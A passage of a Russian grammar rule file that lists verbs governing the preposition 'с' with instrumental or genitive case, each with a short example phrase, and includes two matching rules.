помириться с подружкой rus_verbs:связываться{}, // связываться с бандитами rus_verbs:совещаться{}, // совещаться с мастерами rus_verbs:обрушиваться{}, // обрушиваться с беспощадной критикой rus_verbs:переплестись{}, // переплестись с кустами rus_verbs:мутить{}, // мутить с одногрупницами rus_verbs:приглядываться{}, // приглядываться с интересом rus_verbs:сблизиться{}, // сблизиться с врагами rus_verbs:перешептываться{}, // перешептываться с симпатичной соседкой rus_verbs:растереть{}, // растереть с солью rus_verbs:смешиваться{}, // смешиваться с известью rus_verbs:соприкоснуться{}, // соприкоснуться с тайной rus_verbs:ладить{}, // ладить с родственниками rus_verbs:сотрудничать{}, // сотрудничать с органами дознания rus_verbs:съехаться{}, // съехаться с родственниками rus_verbs:перекинуться{}, // перекинуться с коллегами парой слов rus_verbs:советоваться{}, // советоваться с отчимом rus_verbs:сравниться{}, // сравниться с лучшими rus_verbs:знакомиться{}, // знакомиться с абитуриентами rus_verbs:нырять{}, // нырять с аквалангом rus_verbs:забавляться{}, // забавляться с куклой rus_verbs:перекликаться{}, // перекликаться с другой статьей rus_verbs:тренироваться{}, // тренироваться с партнершей rus_verbs:поспорить{}, // поспорить с казночеем инфинитив:сладить{ вид:соверш }, глагол:сладить{ вид:соверш }, // сладить с бычком деепричастие:сладив{}, прилагательное:сладивший{ вид:соверш }, rus_verbs:примириться{}, // примириться с утратой rus_verbs:раскланяться{}, // раскланяться с фрейлинами rus_verbs:слечь{}, // слечь с ангиной rus_verbs:соприкасаться{}, // соприкасаться со стеной rus_verbs:смешать{}, // смешать с грязью rus_verbs:пересекаться{}, // пересекаться с трассой rus_verbs:путать{}, // путать с государственной шерстью rus_verbs:поболтать{}, // поболтать с ученицами rus_verbs:здороваться{}, // здороваться с профессором rus_verbs:просчитаться{}, // просчитаться с покупкой rus_verbs:сторожить{}, // сторожить с собакой rus_verbs:обыскивать{}, // обыскивать с собаками rus_verbs:переплетаться{}, // переплетаться с другой веткой rus_verbs:обниматься{}, // обниматься с Ксюшей rus_verbs:объединяться{}, // объединяться с конкурентами rus_verbs:погорячиться{}, // погорячиться с покупкой rus_verbs:мыться{}, // мыться с мылом rus_verbs:свериться{}, // свериться с эталоном rus_verbs:разделаться{}, // разделаться с кем-то rus_verbs:чередоваться{}, // чередоваться с партнером rus_verbs:налететь{}, // налететь с соратниками rus_verbs:поспать{}, // поспать с включенным светом rus_verbs:управиться{}, // управиться с собакой rus_verbs:согрешить{}, // согрешить с замужней rus_verbs:определиться{}, // определиться с победителем rus_verbs:перемешаться{}, // перемешаться с гранулами rus_verbs:затрудняться{}, // затрудняться с ответом rus_verbs:обождать{}, // обождать со стартом rus_verbs:фыркать{}, // фыркать с презрением rus_verbs:засидеться{}, // засидеться с приятелем rus_verbs:крепнуть{}, // крепнуть с годами rus_verbs:пировать{}, // пировать с дружиной rus_verbs:щебетать{}, // щебетать с сестричками rus_verbs:маяться{}, // маяться с кашлем rus_verbs:сближать{}, // сближать с центральным светилом rus_verbs:меркнуть{}, // меркнуть с возрастом rus_verbs:заспорить{}, // заспорить с оппонентами rus_verbs:граничить{}, // граничить с Ливаном rus_verbs:перестараться{}, // перестараться со стимуляторами rus_verbs:объединить{}, // объединить с филиалом rus_verbs:свыкнуться{}, // свыкнуться с утратой rus_verbs:посоветоваться{}, // посоветоваться с адвокатами rus_verbs:напутать{}, // напутать с ведомостями rus_verbs:нагрянуть{}, // нагрянуть с обыском rus_verbs:посовещаться{}, // посовещаться с судьей rus_verbs:провернуть{}, // провернуть с друганом rus_verbs:разделяться{}, // разделяться с сотрапезниками rus_verbs:пересечься{}, // пересечься с второй колонной rus_verbs:опережать{}, // опережать с большим запасом rus_verbs:перепутаться{}, // перепутаться с другой линией rus_verbs:соотноситься{}, // соотноситься с затратами rus_verbs:смешивать{}, // смешивать с золой rus_verbs:свидеться{}, // свидеться с тобой rus_verbs:переспать{}, // переспать с графиней rus_verbs:поладить{}, // поладить с соседями rus_verbs:протащить{}, // протащить с собой rus_verbs:разминуться{}, // разминуться с встречным потоком rus_verbs:перемежаться{}, // перемежаться с успехами rus_verbs:рассчитаться{}, // рассчитаться с кредиторами rus_verbs:срастись{}, // срастись с телом rus_verbs:знакомить{}, // знакомить с родителями rus_verbs:поругаться{}, // поругаться с родителями rus_verbs:совладать{}, // совладать с чувствами rus_verbs:обручить{}, // обручить с богатой невестой rus_verbs:сближаться{}, // сближаться с вражеским эсминцем rus_verbs:замутить{}, // замутить с Ксюшей rus_verbs:повозиться{}, // повозиться с настройкой rus_verbs:торговаться{}, // торговаться с продавцами rus_verbs:уединиться{}, // уединиться с девчонкой rus_verbs:переборщить{}, // переборщить с добавкой rus_verbs:ознакомить{}, // ознакомить с пожеланиями rus_verbs:прочесывать{}, // прочесывать с собаками rus_verbs:переписываться{}, // переписываться с корреспондентами rus_verbs:повздорить{}, // повздорить с сержантом rus_verbs:разлучить{}, // разлучить с семьей rus_verbs:соседствовать{}, // соседствовать с цыганами rus_verbs:застукать{}, // застукать с проститутками rus_verbs:напуститься{}, // напуститься с кулаками rus_verbs:сдружиться{}, // сдружиться с ребятами rus_verbs:соперничать{}, // соперничать с параллельным классом rus_verbs:прочесать{}, // прочесать с собаками rus_verbs:кокетничать{}, // кокетничать с гимназистками rus_verbs:мириться{}, // мириться с убытками rus_verbs:оплошать{}, // оплошать с билетами rus_verbs:отождествлять{}, // отождествлять с литературным героем rus_verbs:хитрить{}, // хитрить с зарплатой rus_verbs:провозиться{}, // провозиться с задачкой rus_verbs:коротать{}, // коротать с друзьями rus_verbs:соревноваться{}, // соревноваться с машиной rus_verbs:уживаться{}, // уживаться с местными жителями rus_verbs:отождествляться{}, // отождествляться с литературным героем rus_verbs:сопоставить{}, // сопоставить с эталоном rus_verbs:пьянствовать{}, // пьянствовать с друзьями rus_verbs:залетать{}, // залетать с паленой водкой rus_verbs:гастролировать{}, // гастролировать с новой цирковой программой rus_verbs:запаздывать{}, // запаздывать с кормлением rus_verbs:таскаться{}, // таскаться с сумками rus_verbs:контрастировать{}, // контрастировать с туфлями rus_verbs:сшибиться{}, // сшибиться с форвардом rus_verbs:состязаться{}, // состязаться с лучшей командой rus_verbs:затрудниться{}, // затрудниться с объяснением rus_verbs:объясниться{}, // объясниться с пострадавшими rus_verbs:разводиться{}, // разводиться со сварливой женой rus_verbs:препираться{}, // препираться с адвокатами rus_verbs:сосуществовать{}, // сосуществовать с крупными хищниками rus_verbs:свестись{}, // свестись с нулевым счетом rus_verbs:обговорить{}, // обговорить с директором rus_verbs:обвенчаться{}, // обвенчаться с ведьмой rus_verbs:экспериментировать{}, // экспериментировать с генами rus_verbs:сверять{}, // сверять с таблицей rus_verbs:сверяться{}, // свериться с таблицей rus_verbs:сблизить{}, // сблизить с точкой rus_verbs:гармонировать{}, // гармонировать с обоями rus_verbs:перемешивать{}, // перемешивать с молоком rus_verbs:трепаться{}, // трепаться с сослуживцами rus_verbs:перемигиваться{}, // перемигиваться с соседкой rus_verbs:разоткровенничаться{}, // разоткровенничаться с незнакомцем rus_verbs:распить{}, // распить с собутыльниками rus_verbs:скрестись{}, // скрестись с дикой лошадью rus_verbs:передраться{}, // передраться с дворовыми собаками rus_verbs:умыть{}, // умыть с мылом rus_verbs:грызться{}, // грызться с соседями rus_verbs:переругиваться{}, // переругиваться с соседями rus_verbs:доиграться{}, // доиграться со спичками rus_verbs:заладиться{}, // заладиться с подругой rus_verbs:скрещиваться{}, // скрещиваться с дикими видами rus_verbs:повидаться{}, // повидаться с дедушкой rus_verbs:повоевать{}, // повоевать с орками rus_verbs:сразиться{}, // сразиться с лучшим рыцарем rus_verbs:кипятить{}, // кипятить с отбеливателем rus_verbs:усердствовать{}, // усердствовать с наказанием rus_verbs:схлестнуться{}, // схлестнуться с лучшим боксером rus_verbs:пошептаться{}, // пошептаться с судьями rus_verbs:сравняться{}, // сравняться с лучшими экземплярами rus_verbs:церемониться{}, // церемониться с пьяницами rus_verbs:консультироваться{}, // консультироваться со специалистами rus_verbs:переусердствовать{}, // переусердствовать с наказанием rus_verbs:проноситься{}, // проноситься с собой rus_verbs:перемешать{}, // перемешать с гипсом rus_verbs:темнить{}, // темнить с долгами rus_verbs:сталкивать{}, // сталкивать с черной дырой rus_verbs:увольнять{}, // увольнять с волчьим билетом rus_verbs:заигрывать{}, // заигрывать с совершенно диким животным rus_verbs:сопоставлять{}, // сопоставлять с эталонными образцами rus_verbs:расторгнуть{}, // расторгнуть с нерасторопными поставщиками долгосрочный контракт rus_verbs:созвониться{}, // созвониться с мамой rus_verbs:спеться{}, // спеться с отъявленными хулиганами rus_verbs:интриговать{}, // интриговать с придворными rus_verbs:приобрести{}, // приобрести со скидкой rus_verbs:задержаться{}, // задержаться со сдачей работы rus_verbs:плавать{}, // плавать со спасательным кругом rus_verbs:якшаться{}, // Не якшайся с врагами инфинитив:ассоциировать{вид:соверш}, // читатели ассоциируют с собой героя книги инфинитив:ассоциировать{вид:несоверш}, глагол:ассоциировать{вид:соверш}, // читатели ассоциируют с собой героя книги глагол:ассоциировать{вид:несоверш}, //+прилагательное:ассоциировавший{вид:несоверш}, прилагательное:ассоциировавший{вид:соверш}, прилагательное:ассоциирующий{}, деепричастие:ассоциируя{}, деепричастие:ассоциировав{}, rus_verbs:ассоциироваться{}, // герой книги ассоциируется с реальным персонажем rus_verbs:аттестовывать{}, // Они аттестовывают сотрудников с помощью наборра тестов rus_verbs:аттестовываться{}, // Сотрудники аттестовываются с помощью набора тестов //+инфинитив:аффилировать{вид:соверш}, // эти предприятия были аффилированы с олигархом //+глагол:аффилировать{вид:соверш}, прилагательное:аффилированный{}, rus_verbs:баловаться{}, // мальчик баловался с молотком rus_verbs:балясничать{}, // женщина балясничала с товарками rus_verbs:богатеть{}, // Провинция богатеет от торговли с соседями rus_verbs:бодаться{}, // теленок бодается с деревом rus_verbs:боксировать{}, // Майкл дважды боксировал с ним rus_verbs:брататься{}, // Солдаты братались с бойцами союзников rus_verbs:вальсировать{}, // Мальчик вальсирует с девочкой rus_verbs:вверстывать{}, // Дизайнер с трудом вверстывает блоки в страницу rus_verbs:происходить{}, // Что происходит с мировой экономикой? rus_verbs:произойти{}, // Что произошло с экономикой? rus_verbs:взаимодействовать{}, // Электроны взаимодействуют с фотонами rus_verbs:вздорить{}, // Эта женщина часто вздорила с соседями rus_verbs:сойтись{}, // Мальчик сошелся с бандой хулиганов rus_verbs:вобрать{}, // вобрать в себя лучшие методы борьбы с вредителями rus_verbs:водиться{}, // Няня водится с детьми rus_verbs:воевать{}, // Фермеры воевали с волками rus_verbs:возиться{}, // Няня возится с детьми rus_verbs:ворковать{}, // Голубь воркует с голубкой rus_verbs:воссоединиться{}, // Дети воссоединились с семьей rus_verbs:воссоединяться{}, // Дети воссоединяются с семьей rus_verbs:вошкаться{}, // Не вошкайся с этой ерундой rus_verbs:враждовать{}, // враждовать с соседями rus_verbs:временить{}, // временить с выходом на пенсию rus_verbs:расстаться{}, // я не могу расстаться с тобой rus_verbs:выдирать{}, // выдирать с мясом rus_verbs:выдираться{}, // выдираться с мясом rus_verbs:вытворить{}, // вытворить что-либо с чем-либо rus_verbs:вытворять{}, // вытворять что-либо с чем-либо rus_verbs:сделать{}, // сделать с чем-то rus_verbs:домыть{}, // домыть с мылом rus_verbs:случиться{}, // случиться с кем-то rus_verbs:остаться{}, // остаться с кем-то rus_verbs:случать{}, // случать с породистым кобельком rus_verbs:послать{}, // послать с весточкой rus_verbs:работать{}, // работать с роботами rus_verbs:провести{}, // провести с девчонками время rus_verbs:заговорить{}, // заговорить с незнакомкой rus_verbs:прошептать{}, // прошептать с придыханием rus_verbs:читать{}, // читать с выражением rus_verbs:слушать{}, // слушать с повышенным вниманием rus_verbs:принести{}, // принести с собой rus_verbs:спать{}, // спать с женщинами rus_verbs:закончить{}, // закончить с приготовлениями rus_verbs:помочь{}, // помочь с перестановкой rus_verbs:уехать{}, // уехать с семьей rus_verbs:случаться{}, // случаться с кем-то rus_verbs:кутить{}, // кутить с проститутками rus_verbs:разговаривать{}, // разговаривать с ребенком rus_verbs:погодить{}, // погодить с ликвидацией rus_verbs:считаться{}, // считаться с чужим мнением rus_verbs:носить{}, // носить с собой rus_verbs:хорошеть{}, // хорошеть с каждым днем rus_verbs:приводить{}, // приводить с собой rus_verbs:прыгнуть{}, // прыгнуть с парашютом rus_verbs:петь{}, // петь с чувством rus_verbs:сложить{}, // сложить с результатом rus_verbs:познакомиться{}, // познакомиться с другими студентами rus_verbs:обращаться{}, // обращаться с животными rus_verbs:съесть{}, // съесть с хлебом rus_verbs:ошибаться{}, // ошибаться с дозировкой rus_verbs:столкнуться{}, // столкнуться с медведем rus_verbs:справиться{}, // справиться с нуждой rus_verbs:торопиться{}, // торопиться с ответом rus_verbs:поздравлять{}, // поздравлять с победой rus_verbs:объясняться{}, // объясняться с начальством rus_verbs:пошутить{}, // пошутить с подругой rus_verbs:поздороваться{}, // поздороваться с коллегами rus_verbs:поступать{}, // Как поступать с таким поведением? rus_verbs:определяться{}, // определяться с кандидатами rus_verbs:связаться{}, // связаться с поставщиком rus_verbs:спорить{}, // спорить с собеседником rus_verbs:разобраться{}, // разобраться с делами rus_verbs:ловить{}, // ловить с удочкой rus_verbs:помедлить{}, // Кандидат помедлил с ответом на заданный вопрос rus_verbs:шутить{}, // шутить с диким зверем rus_verbs:разорвать{}, // разорвать с поставщиком контракт rus_verbs:увезти{}, // увезти с собой rus_verbs:унести{}, // унести с собой rus_verbs:сотворить{}, // сотворить с собой что-то нехорошее rus_verbs:складываться{}, // складываться с первым импульсом rus_verbs:соглашаться{}, // соглашаться с предложенным договором //rus_verbs:покончить{}, // покончить с развратом rus_verbs:прихватить{}, // прихватить с собой rus_verbs:похоронить{}, // похоронить с почестями rus_verbs:связывать{}, // связывать с компанией свою судьбу rus_verbs:совпадать{}, // совпадать с предсказанием rus_verbs:танцевать{}, // танцевать с девушками rus_verbs:поделиться{}, // поделиться с выжившими rus_verbs:оставаться{}, // я не хотел оставаться с ним в одной комнате. rus_verbs:беседовать{}, // преподаватель, беседующий со студентами rus_verbs:бороться{}, // человек, борющийся со смертельной болезнью rus_verbs:шептаться{}, // девочка, шепчущаяся с подругой rus_verbs:сплетничать{}, // женщина, сплетничавшая с товарками rus_verbs:поговорить{}, // поговорить с виновниками rus_verbs:сказать{}, // сказать с трудом rus_verbs:произнести{}, // произнести с трудом rus_verbs:говорить{}, // говорить с акцентом rus_verbs:произносить{}, // произносить с трудом rus_verbs:встречаться{}, // кто с Антонио встречался? rus_verbs:посидеть{}, // посидеть с друзьями rus_verbs:расквитаться{}, // расквитаться с обидчиком rus_verbs:поквитаться{}, // поквитаться с обидчиком rus_verbs:ругаться{}, // ругаться с женой rus_verbs:поскандалить{}, // поскандалить с женой rus_verbs:потанцевать{}, // потанцевать с подругой rus_verbs:скандалить{}, // скандалить с соседями rus_verbs:разругаться{}, // разругаться с другом rus_verbs:болтать{}, // болтать с подругами rus_verbs:потрепаться{}, // потрепаться с соседкой rus_verbs:войти{}, // войти с регистрацией rus_verbs:входить{}, // входить с регистрацией rus_verbs:возвращаться{}, // возвращаться с триумфом rus_verbs:опоздать{}, // Он опоздал с подачей сочинения. rus_verbs:молчать{}, // Он молчал с ледяным спокойствием. rus_verbs:сражаться{}, // Он героически сражался с врагами. rus_verbs:выходить{}, // Он всегда выходит с зонтиком. rus_verbs:сличать{}, // сличать перевод с оригиналом rus_verbs:начать{}, // я начал с товарищем спор о религии rus_verbs:согласовать{}, // Маша согласовала с Петей дальнейшие поездки rus_verbs:приходить{}, // Приходите с нею. rus_verbs:жить{}, // кто с тобой жил? rus_verbs:расходиться{}, // Маша расходится с Петей rus_verbs:сцеплять{}, // сцеплять карабин с обвязкой rus_verbs:торговать{}, // мы торгуем с ними нефтью rus_verbs:уединяться{}, // уединяться с подругой в доме rus_verbs:уладить{}, // уладить конфликт с соседями rus_verbs:идти{}, // Я шел туда с тяжёлым сердцем. rus_verbs:разделять{}, // Я разделяю с вами горе и радость. rus_verbs:обратиться{}, // Я обратился к нему с просьбой о помощи. rus_verbs:захватить{}, // Я не захватил с собой денег. прилагательное:знакомый{}, // Я знаком с ними обоими. rus_verbs:вести{}, // Я веду с ней переписку. прилагательное:сопряженный{}, // Это сопряжено с большими трудностями. прилагательное:связанный{причастие}, // Это дело связано с риском. rus_verbs:поехать{}, // Хотите поехать со мной в театр? rus_verbs:проснуться{}, // Утром я проснулся с ясной головой. rus_verbs:лететь{}, // Самолёт летел со скоростью звука. rus_verbs:играть{}, // С огнём играть опасно! rus_verbs:поделать{}, // С ним ничего не поделаешь. rus_verbs:стрястись{}, // С ней стряслось несчастье. rus_verbs:смотреться{}, // Пьеса смотрится с удовольствием. rus_verbs:смотреть{}, // Она смотрела на меня с явным неудовольствием. rus_verbs:разойтись{}, // Она разошлась с мужем. rus_verbs:пристать{}, // Она пристала ко мне с расспросами. rus_verbs:посмотреть{}, // Она посмотрела на меня с удивлением. rus_verbs:поступить{}, // Она плохо поступила с ним. rus_verbs:выйти{}, // Она вышла с усталым и недовольным видом. rus_verbs:взять{}, // Возьмите с собой только самое необходимое. rus_verbs:наплакаться{}, // Наплачется она с ним. rus_verbs:лежать{}, // Он лежит с воспалением лёгких. rus_verbs:дышать{}, // дышащий с трудом rus_verbs:брать{}, // брать с собой rus_verbs:мчаться{}, // Автомобиль мчится с необычайной быстротой. rus_verbs:упасть{}, // Ваза упала со звоном. rus_verbs:вернуться{}, // мы вернулись вчера домой с полным лукошком rus_verbs:сидеть{}, // Она сидит дома с ребенком rus_verbs:встретиться{}, // встречаться с кем-либо ГЛ_ИНФ(придти), прилагательное:пришедший{}, // пришедший с другом ГЛ_ИНФ(постирать), прилагательное:постиранный{}, деепричастие:постирав{}, rus_verbs:мыть{} } fact гл_предл { if context { Гл_С_Твор предлог:с{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { Гл_С_Твор предлог:с{} *:*{падеж:твор} } then return true } #endregion ТВОРИТЕЛЬНЫЙ #region РОДИТЕЛЬНЫЙ wordentry_set Гл_С_Род= { rus_verbs:УХОДИТЬ{}, // Но с базы не уходить. rus_verbs:РВАНУТЬ{}, // Водитель прорычал проклятие и рванул машину с места. (РВАНУТЬ) rus_verbs:ОХВАТИТЬ{}, // огонь охватил его со всех сторон (ОХВАТИТЬ) rus_verbs:ЗАМЕТИТЬ{}, // Он понимал, что свет из тайника невозможно заметить с палубы (ЗАМЕТИТЬ/РАЗГЛЯДЕТЬ) rus_verbs:РАЗГЛЯДЕТЬ{}, // rus_verbs:СПЛАНИРОВАТЬ{}, // Птицы размером с орлицу, вероятно, не могли бы подняться в воздух, не спланировав с высокого утеса. (СПЛАНИРОВАТЬ) rus_verbs:УМЕРЕТЬ{}, // Он умрет с голоду. (УМЕРЕТЬ) rus_verbs:ВСПУГНУТЬ{}, // Оба упали с лязгом, вспугнувшим птиц с ближайших деревьев (ВСПУГНУТЬ) rus_verbs:РЕВЕТЬ{}, // Время от времени какой-то ящер ревел с берега или самой реки. (РЕВЕТЬ/ЗАРЕВЕТЬ/ПРОРЕВЕТЬ/ЗАОРАТЬ/ПРООРАТЬ/ОРАТЬ/ПРОКРИЧАТЬ/ЗАКРИЧАТЬ/ВОПИТЬ/ЗАВОПИТЬ) rus_verbs:ЗАРЕВЕТЬ{}, // rus_verbs:ПРОРЕВЕТЬ{}, // rus_verbs:ЗАОРАТЬ{}, // rus_verbs:ПРООРАТЬ{}, // rus_verbs:ОРАТЬ{}, // rus_verbs:ЗАКРИЧАТЬ{}, rus_verbs:ВОПИТЬ{}, // rus_verbs:ЗАВОПИТЬ{}, // rus_verbs:СТАЩИТЬ{}, // Я видела как они стащили его с валуна и увели с собой. (СТАЩИТЬ/СТАСКИВАТЬ) rus_verbs:СТАСКИВАТЬ{}, // rus_verbs:ПРОВЫТЬ{}, // Призрак трубного зова провыл с другой стороны дверей. (ПРОВЫТЬ, ЗАВЫТЬ, ВЫТЬ) rus_verbs:ЗАВЫТЬ{}, // rus_verbs:ВЫТЬ{}, // rus_verbs:СВЕТИТЬ{}, // Полуденное майское солнце ярко светило с голубых небес Аризоны. (СВЕТИТЬ) rus_verbs:ОТСВЕЧИВАТЬ{}, // Солнце отсвечивало с белых лошадей, белых щитов и белых перьев и искрилось на наконечниках пик. (ОТСВЕЧИВАТЬ С, ИСКРИТЬСЯ НА) rus_verbs:перегнать{}, // Скот нужно перегнать с этого пастбища на другое rus_verbs:собирать{}, // мальчики начали собирать со столов посуду rus_verbs:разглядывать{}, // ты ее со всех сторон разглядывал rus_verbs:СЖИМАТЬ{}, // меня плотно сжимали со всех сторон (СЖИМАТЬ) rus_verbs:СОБРАТЬСЯ{}, // со всего света собрались! (СОБРАТЬСЯ) rus_verbs:ИЗГОНЯТЬ{}, // Вино в пакетах изгоняют с рынка (ИЗГОНЯТЬ) rus_verbs:ВЛЮБИТЬСЯ{}, // влюбился в нее с первого взгляда (ВЛЮБИТЬСЯ) rus_verbs:РАЗДАВАТЬСЯ{}, // теперь крик раздавался со всех сторон (РАЗДАВАТЬСЯ) rus_verbs:ПОСМОТРЕТЬ{}, // Посмотрите на это с моей точки зрения (ПОСМОТРЕТЬ С род) rus_verbs:СХОДИТЬ{}, // принимать участие во всех этих событиях - значит продолжать сходить с ума (СХОДИТЬ С род) rus_verbs:РУХНУТЬ{}, // В Башкирии микроавтобус рухнул с моста (РУХНУТЬ С) rus_verbs:УВОЛИТЬ{}, // рекомендовать уволить их с работы (УВОЛИТЬ С) rus_verbs:КУПИТЬ{}, // еда , купленная с рук (КУПИТЬ С род) rus_verbs:УБРАТЬ{}, // помочь убрать со стола? (УБРАТЬ С) rus_verbs:ТЯНУТЬ{}, // с моря тянуло ветром (ТЯНУТЬ С) rus_verbs:ПРИХОДИТЬ{}, // приходит с работы муж (ПРИХОДИТЬ С) rus_verbs:ПРОПАСТЬ{}, // изображение пропало с экрана (ПРОПАСТЬ С) rus_verbs:ПОТЯНУТЬ{}, // с балкона потянуло холодом (ПОТЯНУТЬ С род) rus_verbs:РАЗДАТЬСЯ{}, // с палубы раздался свист (РАЗДАТЬСЯ С род) rus_verbs:ЗАЙТИ{}, // зашел с другой стороны (ЗАЙТИ С род) rus_verbs:НАЧАТЬ{}, // давай начнем с этого (НАЧАТЬ С род) rus_verbs:УВЕСТИ{}, // дала увести с развалин (УВЕСТИ С род) rus_verbs:ОПУСКАТЬСЯ{}, // с гор опускалась ночь (ОПУСКАТЬСЯ С) rus_verbs:ВСКОЧИТЬ{}, // Тристан вскочил с места (ВСКОЧИТЬ С род) rus_verbs:БРАТЬ{}, // беру с него пример (БРАТЬ С род) rus_verbs:ПРИПОДНЯТЬСЯ{}, // голова приподнялась с плеча (ПРИПОДНЯТЬСЯ С род) rus_verbs:ПОЯВИТЬСЯ{}, // всадники появились с востока (ПОЯВИТЬСЯ С род) rus_verbs:НАЛЕТЕТЬ{}, // с моря налетел ветер (НАЛЕТЕТЬ С род) rus_verbs:ВЗВИТЬСЯ{}, // Натан взвился с места (ВЗВИТЬСЯ С род) rus_verbs:ПОДОБРАТЬ{}, // подобрал с земли копье (ПОДОБРАТЬ С) rus_verbs:ДЕРНУТЬСЯ{}, // Кирилл дернулся с места (ДЕРНУТЬСЯ С род) rus_verbs:ВОЗВРАЩАТЬСЯ{}, // они возвращались с реки (ВОЗВРАЩАТЬСЯ С род) rus_verbs:ПЛЫТЬ{}, // плыли они с запада (ПЛЫТЬ С род) rus_verbs:ЗНАТЬ{}, // одно знали с древности (ЗНАТЬ С) rus_verbs:НАКЛОНИТЬСЯ{}, // всадник наклонился с лошади (НАКЛОНИТЬСЯ С) rus_verbs:НАЧАТЬСЯ{}, // началось все со скуки (НАЧАТЬСЯ С) прилагательное:ИЗВЕСТНЫЙ{}, // Культура его известна со времен глубокой древности (ИЗВЕСТНЫЙ С) rus_verbs:СБИТЬ{}, // Порыв ветра сбил Ваньку с ног (ts СБИТЬ С) rus_verbs:СОБИРАТЬСЯ{}, // они собираются сюда со всей равнины. (СОБИРАТЬСЯ С род) rus_verbs:смыть{}, // Дождь должен смыть с листьев всю пыль. (СМЫТЬ С) rus_verbs:привстать{}, // Мартин привстал со своего стула. (привстать с) rus_verbs:спасть{}, // тяжесть спала с души. (спасть с) rus_verbs:выглядеть{}, // так оно со стороны выглядело. (ВЫГЛЯДЕТЬ С) rus_verbs:повернуть{}, // к вечеру они повернули с нее направо. (ПОВЕРНУТЬ С) rus_verbs:ТЯНУТЬСЯ{}, // со стороны реки ко мне тянулись языки тумана. (ТЯНУТЬСЯ С) rus_verbs:ВОЕВАТЬ{}, // Генерал воевал с юных лет. (ВОЕВАТЬ С чего-то) rus_verbs:БОЛЕТЬ{}, // Голова болит с похмелья. (БОЛЕТЬ С) rus_verbs:приближаться{}, // со стороны острова приближалась лодка. rus_verbs:ПОТЯНУТЬСЯ{}, // со всех сторон к нему потянулись руки. (ПОТЯНУТЬСЯ С) rus_verbs:пойти{}, // низкий гул пошел со стороны долины. (пошел с) rus_verbs:зашевелиться{}, // со всех сторон зашевелились кусты. (зашевелиться с) rus_verbs:МЧАТЬСЯ{}, // со стороны леса мчались всадники. (МЧАТЬСЯ С) rus_verbs:БЕЖАТЬ{}, // люди бежали со всех ног. (БЕЖАТЬ С) rus_verbs:СЛЫШАТЬСЯ{}, // шум слышался со стороны моря. (СЛЫШАТЬСЯ С) rus_verbs:ЛЕТЕТЬ{}, // со стороны деревни летела птица. (ЛЕТЕТЬ С) rus_verbs:ПЕРЕТЬ{}, // враги прут со всех сторон. (ПЕРЕТЬ С) rus_verbs:ПОСЫПАТЬСЯ{}, // вопросы посыпались со всех сторон. (ПОСЫПАТЬСЯ С) rus_verbs:ИДТИ{}, // угроза шла со стороны моря. (ИДТИ С + род.п.) rus_verbs:ПОСЛЫШАТЬСЯ{}, // со стен послышались крики ужаса. (ПОСЛЫШАТЬСЯ С) rus_verbs:ОБРУШИТЬСЯ{}, // звуки обрушились со всех сторон. (ОБРУШИТЬСЯ С) rus_verbs:УДАРИТЬ{}, // голоса ударили со всех сторон. (УДАРИТЬ С) rus_verbs:ПОКАЗАТЬСЯ{}, // со стороны деревни показались земляне. (ПОКАЗАТЬСЯ С) rus_verbs:прыгать{}, // придется прыгать со второго этажа. (прыгать с) rus_verbs:СТОЯТЬ{}, // со всех сторон стоял лес. (СТОЯТЬ С) rus_verbs:доноситься{}, // шум со двора доносился чудовищный. (доноситься с) rus_verbs:мешать{}, // мешать воду с мукой (мешать с) rus_verbs:вестись{}, // Переговоры ведутся с позиции силы. (вестись с) rus_verbs:вставать{}, // Он не встает с кровати. (вставать с) rus_verbs:окружать{}, // зеленые щупальца окружали ее со всех сторон. (окружать с) rus_verbs:причитаться{}, // С вас причитается 50 рублей. rus_verbs:соскользнуть{}, // его острый клюв соскользнул с ее руки. rus_verbs:сократить{}, // Его сократили со службы. rus_verbs:поднять{}, // рука подняла с пола rus_verbs:поднимать{}, rus_verbs:тащить{}, // тем временем другие пришельцы тащили со всех сторон камни. rus_verbs:полететь{}, // Мальчик полетел с лестницы. rus_verbs:литься{}, // вода льется с неба rus_verbs:натечь{}, // натечь с сапог rus_verbs:спрыгивать{}, // спрыгивать с движущегося трамвая rus_verbs:съезжать{}, // съезжать с заявленной темы rus_verbs:покатываться{}, // покатываться со смеху rus_verbs:перескакивать{}, // перескакивать с одного примера на другой rus_verbs:сдирать{}, // сдирать с тела кожу rus_verbs:соскальзывать{}, // соскальзывать с крючка rus_verbs:сметать{}, // сметать с прилавков rus_verbs:кувыркнуться{}, // кувыркнуться со ступеньки rus_verbs:прокаркать{}, // прокаркать с ветки rus_verbs:стряхивать{}, // стряхивать с одежды rus_verbs:сваливаться{}, // сваливаться с лестницы rus_verbs:слизнуть{}, // слизнуть с лица rus_verbs:доставляться{}, // доставляться с фермы rus_verbs:обступать{}, // обступать с двух сторон rus_verbs:повскакивать{}, // повскакивать с мест rus_verbs:обозревать{}, // обозревать с вершины rus_verbs:слинять{}, // слинять с урока rus_verbs:смывать{}, // смывать с лица rus_verbs:спихнуть{}, // спихнуть со стола rus_verbs:обозреть{}, // обозреть с вершины rus_verbs:накупить{}, // накупить с рук rus_verbs:схлынуть{}, // схлынуть с берега rus_verbs:спикировать{}, // спикировать с километровой высоты rus_verbs:уползти{}, // уползти с поля боя rus_verbs:сбиваться{}, // сбиваться с пути rus_verbs:отлучиться{}, // отлучиться с поста rus_verbs:сигануть{}, // сигануть с крыши rus_verbs:сместить{}, // сместить с поста rus_verbs:списать{}, // списать с оригинального устройства инфинитив:слетать{ вид:несоверш }, глагол:слетать{ вид:несоверш }, // слетать с трассы деепричастие:слетая{}, rus_verbs:напиваться{}, // напиваться с горя rus_verbs:свесить{}, // свесить с крыши rus_verbs:заполучить{}, // заполучить со склада rus_verbs:спадать{}, // спадать с глаз rus_verbs:стартовать{}, // стартовать с мыса rus_verbs:спереть{}, // спереть со склада rus_verbs:согнать{}, // согнать с живота rus_verbs:скатываться{}, // скатываться со стога rus_verbs:сняться{}, // сняться с выборов rus_verbs:слезать{}, // слезать со стола rus_verbs:деваться{}, // деваться с подводной лодки rus_verbs:огласить{}, // огласить с трибуны rus_verbs:красть{}, // красть со склада rus_verbs:расширить{}, // расширить с торца rus_verbs:угадывать{}, // угадывать с полуслова rus_verbs:оскорбить{}, // оскорбить со сцены rus_verbs:срывать{}, // срывать с головы rus_verbs:сшибить{}, // сшибить с коня rus_verbs:сбивать{}, // сбивать с одежды rus_verbs:содрать{}, // содрать с посетителей rus_verbs:столкнуть{}, // столкнуть с горы rus_verbs:отряхнуть{}, // отряхнуть с одежды rus_verbs:сбрасывать{}, // сбрасывать с борта rus_verbs:расстреливать{}, // расстреливать с борта вертолета 